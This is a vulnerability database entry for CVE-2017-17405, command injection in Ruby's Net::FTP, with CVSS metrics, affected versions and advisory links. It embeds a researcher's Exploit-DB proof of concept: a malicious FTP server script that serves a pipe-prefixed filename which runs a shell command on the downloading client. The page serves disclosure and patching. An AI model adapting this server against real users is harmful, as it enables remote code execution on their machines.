CVE-2017-17405 : Detail

CVE-2017-17405

8.8
/
High
OS Command Injection
A03-Injection
35.25%V3
Network
2017-12-15
08h00 +00:00
2019-09-19
07h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Ruby before 2.4.3 allows Net::FTP command injection. Net::FTP#get, getbinaryfile, gettextfile, put, putbinaryfile, and puttextfile use Kernel#open to open a local file. If the localfile argument starts with the "|" pipe character, the command following the pipe character is executed. The default value of localfile is File.basename(remotefile), so malicious FTP servers could cause arbitrary command execution.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 43381

Publication date : 2017-12-01 23h00 +00:00
Author : Etienne Stalmans
EDB Verified : No

While using NET::Ftp I realised you could get command execution through "malicious" file names. The problem lies in the `gettextfile(remotefile, localfile = File.basename(remotefile))` method. When looking at the source code, you'll note: ``` def gettextfile(remotefile, localfile = File.basename(remotefile), &block) # :yield: line f = nil result = nil if localfile f = open(localfile, "w") # Vulnerable code here. open("| os command","w") elsif !block_given? result = String.new end ``` The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename. I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable. ## Usage: Change the `host` and `port` values in both //ftpserver.rb// and //client.rb// Start the server: `ruby ftpserver.rb` Run the client: `ruby client.rb` Observe that a new file has been created in the CWD of the //client.rb//. The file will be called `pang` and contain the output of the `id` command. As seen in screenshot1.png The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use `open` in NET::Ftp, but rather something like `File.open`, maintaining both expected behaviour and security. ## Impact Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths. --cilent.rb-- ``` require 'net/ftp' host = '172.17.0.4' port = 2121 Net::FTP.const_set('FTP_PORT',port) Net::FTP.open(host) do |ftp| ftp.login fileList = ftp.nlst('*') fileList.each do |file| ftp.gettextfile(file) end end ``` --cilent.rb-- - - - --ftpserv.rb-- ``` require 'socket' host = '172.17.0.4' port = 2121 hostsplit = host.tr('.',',') server = TCPServer.new port loop do Thread.start(server.accept) do |client| client.puts "220 Attack FTP\r\n" r = client.gets puts r client.puts "331 password please - version check\r\n" r = client.gets puts r client.puts "230 User logged in\r\n" r = client.gets puts r client.puts "230 more data please!\r\n" r = client.gets puts r client.puts "230 more data please!\r\n" r = client.gets puts r wait = true psv = Thread.new do pserver = TCPServer.new 23461 Thread.start(pserver.accept) do |pclient| while wait do end pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n" pclient.close end end sleep 1 client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n" r = client.gets puts r psv.join client.puts "150 Here comes the directory listing.\r\n" wait = false client.puts "226 Directory send OK.\r\n" r = client.gets puts r client.puts "221 goodbye\r\n" client.close end end ``` --ftpserv.rb-- - - - E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/ E-DB Nte: https://hackerone.com/reports/294462

Products Mentioned

Configuraton 0

Ruby-lang>>Ruby >> Version From (including) 2.2 To (including) 2.2.8

Ruby-lang>>Ruby >> Version From (including) 2.3 To (including) 2.3.5

Ruby-lang>>Ruby >> Version From (including) 2.4 To (including) 2.4.2

Ruby-lang>>Ruby >> Version 2.5.0

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_eus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.5

Redhat>>Enterprise_linux_server_eus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.4

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_workstation >> Version 7.0

References

https://access.redhat.com/errata/RHSA-2018:0585
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:0378
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/102204
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1042004
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43381/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2018:0584
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:0583
Tags : vendor-advisory, x_refsource_REDHAT
https://www.debian.org/security/2018/dsa-4259
Tags : vendor-advisory, x_refsource_DEBIAN
https://access.redhat.com/errata/RHSA-2019:2806
Tags : vendor-advisory, x_refsource_REDHAT